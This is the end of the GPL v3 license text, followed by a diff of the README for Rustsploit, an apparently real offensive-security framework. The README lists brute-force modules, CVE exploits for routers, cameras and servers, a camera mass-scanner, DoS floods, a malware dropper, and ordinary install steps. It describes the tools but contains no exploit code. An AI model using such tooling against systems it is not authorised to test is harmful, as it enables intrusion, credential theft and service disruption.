or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
|
||||
@@ -1,13 +1,15 @@
|
||||
# Rustsploit 🛠️
|
||||
# Rustsploit
|
||||
|
||||
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
|
||||
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
|
||||
|
||||

|
||||

|
||||
|
||||
- 📚 **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
- 💬 **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
|
||||
- 🌐 **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
|
||||
- 🧱 **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
|
||||
|
||||
- **Developer Docs:** [Full guide covering module lifecycle,shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
- **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
|
||||
|
||||
- **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
|
||||
|
||||
---
|
||||
|
||||
@@ -20,38 +22,60 @@ Modular offensive tooling for embedded targets, written in Rust and inspired by
|
||||
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
|
||||
6. [CLI Usage](#cli-usage)
|
||||
7. [API Server Mode](#api-server-mode)
|
||||
8. [Proxy Workflow](#proxy-workflow)
|
||||
9. [How Modules Are Discovered](#how-modules-are-discovered)
|
||||
10. [Contributing](#contributing)
|
||||
11. [Credits](#credits)
|
||||
8. [How Modules Are Discovered](#how-modules-are-discovered)
|
||||
9. [Contributing](#contributing)
|
||||
10. [Credits](#credits)
|
||||
|
||||
---
|
||||
|
||||
## Highlights
|
||||
|
||||
- ✅ **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
|
||||
- ✅ **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
|
||||
- ✅ **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
|
||||
- ✅ **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP brute force modules with IPv6 and TLS support where applicable
|
||||
- ✅ **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
|
||||
- ✅ **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, StalkRoute traceroute (root), sample modules for extension
|
||||
- ✅ **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
|
||||
- ✅ **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
|
||||
- ✅ **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
|
||||
- **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
|
||||
- **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
|
||||
|
||||
- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP, SNMP, L2TP, MQTT, Fortinet brute force modules with IPv6 and TLS support where applicable
|
||||
- **Enhanced Telnet module:** Full IAC (Interpret As Command) negotiation, advanced error classification, verbose quick-check mode, robust buffer handling
|
||||
- **Improved RDP module:** Streaming failover for large password files (>150MB), comprehensive error classification, multiple security level support (NLA/TLS/RDP/Negotiate/Auto)
|
||||
- **L2TP/IPsec Bruteforce:** Multi-platform support (strongswan, xl2tpd, NetworkManager, rasdial, networksetup), proper IPsec Phase 1/2 handling
|
||||
- **Framework-level honeypot detection:** Automatic detection before scans using 200 common ports (warns if 11+ ports open)
|
||||
- **Advanced target normalization:** Supports IPv4, IPv6, hostnames, URLs, CIDR notation with comprehensive validation
|
||||
- **Exploit coverage:** GNU inetutils-telnetd Auth Bypass (CVE-2026-24061), Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
|
||||
- **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, DNS recursion tester, HTTP method scanner, StalkRoute traceroute (root), **Directory Bruteforcer**, **Sequential Fuzzer**
|
||||
- **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
|
||||
- **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
|
||||
- **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
|
||||
- **Security hardened:** Comprehensive input validation, path traversal protection, length limits, and memory-safe operations throughout
|
||||
- **Honeypot detection:** Framework-level automatic detection before module execution to warn about potentially deceptive targets
|
||||
- **Enhanced target handling:** Advanced normalization supporting IPv4, IPv6 (with brackets), hostnames, URLs, CIDR notation, and port extraction
|
||||
- **IP exclusion ranges (EXCLUDED_RANGES):** Camxploit, Telnet bruteforce, and exploit modules now skip bogon, private, reserved, documentation, and public DNS IPs during mass scans
|
||||
- **DoS / Stress testing suite:** Connection Exhaustion Flood (semaphore-bounded FDs), Null SYN Exhaustion (>1M PPS, IP spoofing), TCP Connection Flood (connect & drop, infinite mode)
|
||||
|
||||
---
|
||||
|
||||
## Module Catalog
|
||||
**🚀 New Features:**
|
||||
- **CLI Error Handling** - Added proper warning messages for invalid flag combinations:
|
||||
- `⚠ Warning` when `-m` is used without `-t` (suggests proper usage)
|
||||
- `ℹ Note` when `-t` is used without `-m` (target available in shell)
|
||||
- Error when `--harden` is used without `--api`
|
||||
- Helpful usage hints printed for common mistakes
|
||||
- **Improved CLI Experience** - Added `--list-modules` to browse tools without entering the shell, and `--verbose` for detailed operation logs. Fuzzy matching now suggests corrections for typos (e.g., `sample_xploit` -> `sample_exploit`).
|
||||
- **Colored CLI output** - Warnings in yellow, hints in cyan, success in green
|
||||
|
||||
** Documentation:**
|
||||
- Updated developer guide with v0.4.6 changes
|
||||
- Added CLI error handling examples
|
||||
|
||||
Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
|
||||
|
||||
| Category | Highlights |
|
||||
|----------|------------|
|
||||
| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute |
|
||||
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE |
|
||||
| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion) |
|
||||
| `creds/generic` | FTP anonymous & FTPS brute force (5 operation modes, JSON config), SSH brute force, SSH user enumeration (timing attack), SSH password spray, **Telnet brute force (with IAC negotiation)**, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), **RDP auth-only brute (streaming mode, multiple security levels)**, **MQTT brute force**, SNMP community string brute force, **L2TP/IPsec brute force (multi-platform)**, Fortinet SSL VPN brute force |
|
||||
| `creds/camxploit` | **Camxploit camera scanner** with masscan-style parallel scanning, EXCLUDED_RANGES (bogons/private/reserved/DNS), port-based service filtering (ignores SSH/Telnet/RDP-only hosts), output file support |
|
||||
| `exploits/dos` | **Connection Exhaustion Flood** (FD-bounded semaphore, connect & drop), **Null SYN Exhaustion** (raw packet, IP spoofing, XorShift128+ RNG, >1M PPS), **TCP Connection Flood** (pre-resolved DNS, high-concurrency handshake stress) |
|
||||
| `exploits/*` | GNU inetutils-telnetd Auth Bypass (CVE-2026-24061), Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, **TP-Link Tapo C200 CVE-2021-4045**, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE, Flowise CVE-2025-59528 RCE, HTTP/2 Rapid Reset DoS, Jenkins LFI, PAN-OS Auth Bypass, Heartbleed, **React2Shell CVE-2025-55182**, **SSHPWN Framework** (SFTP symlink/setuid/traversal, SCP injection/DoS, Session env injection) |
|
||||
| `scanners` | Port scanner (TCP/UDP/SYN/ACK), ping sweep (ICMP/TCP/UDP/SYN/ACK), SSDP M-SEARCH enumerator, HTTP title fetcher, HTTP method scanner, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion), **SSH scanner** (banner grabbing, CIDR support), **Directory Bruteforcer (recursive, extensions)**, **Sequential Fuzzer (multi-encoding, custom charsets)** |
|
||||
| `payloadgens` | `narutto_dropper`, BAT payload generator |
|
||||
| `lists` | RTSP wordlists and helper files |
|
||||
| `lists` | RTSP wordlists, telnet default credentials, and helper files |
|
||||
|
||||
Run `modules` or `find <keyword>` in the shell for the authoritative list.
|
||||
|
||||
@@ -61,16 +85,55 @@ Run `modules` or `find <keyword>` in the shell for the authoritative list.
|
||||
|
||||
### Requirements
|
||||
|
||||
```bash
|
||||
**Debian/Ubuntu/Kali:**
|
||||
```bash
|
||||
sudo apt update
|
||||
sudo apt install freerdp2-x11 # Required for the RDP brute force module
|
||||
sudo apt install pkg-config libssl-dev freerdp2-x11 libdbus-1-dev # Required for RDP and Bluetooth modules
|
||||
|
||||
```
|
||||
|
||||
**Arch Linux:**
|
||||
```bash
|
||||
sudo pacman -S pkgconf openssl freerdp
|
||||
```
|
||||
|
||||
**Gentoo:**
|
||||
```bash
|
||||
sudo emerge dev-libs/openssl dev-util/pkgconf net-misc/freerdp
|
||||
```
|
||||
|
||||
**Fedora/RHEL:**
|
||||
```bash
|
||||
sudo dnf install pkgconf-pkg-config openssl-devel freerdp
|
||||
```
|
||||
|
||||
### Installing Rust & Cargo
|
||||
|
||||
**General (Recommended for all Linux/macOS):**
|
||||
```bash
|
||||
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
|
||||
source $HOME/.cargo/env
|
||||
```
|
||||
|
||||
**Debian/Ubuntu/Kali:**
|
||||
```bash
|
||||
sudo apt install rustc cargo
|
||||
```
|
||||
|
||||
**Arch Linux:**
|
||||
```bash
|
||||
sudo pacman -S rust
|
||||
```
|
||||
|
||||
**Fedora/RHEL:**
|
||||
```bash
|
||||
sudo dnf install rust cargo
|
||||
```
|
||||
|
||||
Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
|
||||
|
||||
### Clone + Build
|
||||
|
||||
```bash
|
||||
```
|
||||
git clone https://github.com/s-b-repo/rustsploit.git
|
||||
cd rustsploit
|
||||
cargo build
|
||||
@@ -78,14 +141,30 @@ cargo build
|
||||
|
||||
### Run (Interactive Shell)
|
||||
|
||||
```bash
|
||||
```
|
||||
cargo run
|
||||
```
|
||||
|
||||
### Install (optional)
|
||||
### Global Installation (Run from Terminal)
|
||||
|
||||
To run `rustsploit` from anywhere in your terminal:
|
||||
|
||||
**Option 1: Cargo Install (Easiest)**
|
||||
```bash
|
||||
cargo install --path .
|
||||
rustsploit
|
||||
```
|
||||
|
||||
**Option 2: Manually Build Release Binary**
|
||||
```bash
|
||||
# 1. Build optimized release version
|
||||
cargo build --release
|
||||
|
||||
# 2. Move binary to your path (e.g., /usr/local/bin)
|
||||
sudo cp target/release/rustsploit /usr/local/bin/
|
||||
|
||||
# 3. Run from anywhere
|
||||
rustsploit
|
||||
```
|
||||
|
||||
---
|
||||
@@ -102,7 +181,7 @@ Rustsploit ships with a standalone provisioning script that builds and launches
|
||||
|
||||
### Interactive Setup
|
||||
|
||||
```bash
|
||||
```
|
||||
python3 scripts/setup_docker.py
|
||||
```
|
||||
|
||||
@@ -125,7 +204,7 @@ Existing files are never overwritten without confirmation (use `--force` for scr
|
||||
|
||||
All prompts have CLI equivalents:
|
||||
|
||||
```bash
|
||||
```
|
||||
python3 scripts/setup_docker.py \
|
||||
--bind 0.0.0.0:8443 \
|
||||
--generate-key \
|
||||
@@ -138,7 +217,7 @@ python3 scripts/setup_docker.py \
|
||||
|
||||
This produces the Docker assets but skips the compose launch. To start the stack later:
|
||||
|
||||
```bash
|
||||
```
|
||||
docker compose -f docker-compose.rustsploit.yml up -d --build
|
||||
```
|
||||
|
||||
@@ -146,6 +225,57 @@ Environment variables are written with 0600 permissions so secrets stay private.
|
||||
|
||||
---
|
||||
|
||||
## New Features & Improvements
|
||||
|
||||
### Framework-Level Enhancements
|
||||
|
||||
- **Honeypot Detection**: Automatically scans 200 common ports before module execution. If 11+ ports are open, warns that the target is likely a honeypot. This check runs universally on every target after it's set.
|
||||
|
||||
- **Advanced Target Normalization**: The framework now supports:
|
||||
- IPv4: `192.168.1.1`, `192.168.1.1:8080`
|
||||
- IPv6: `::1`, `[::1]`, `[::1]:8080`, `2001:db8::1`
|
||||
- Hostnames: `example.com`, `example.com:443`
|
||||
- URLs: `http://example.com:8080` (extracts host:port)
|
||||
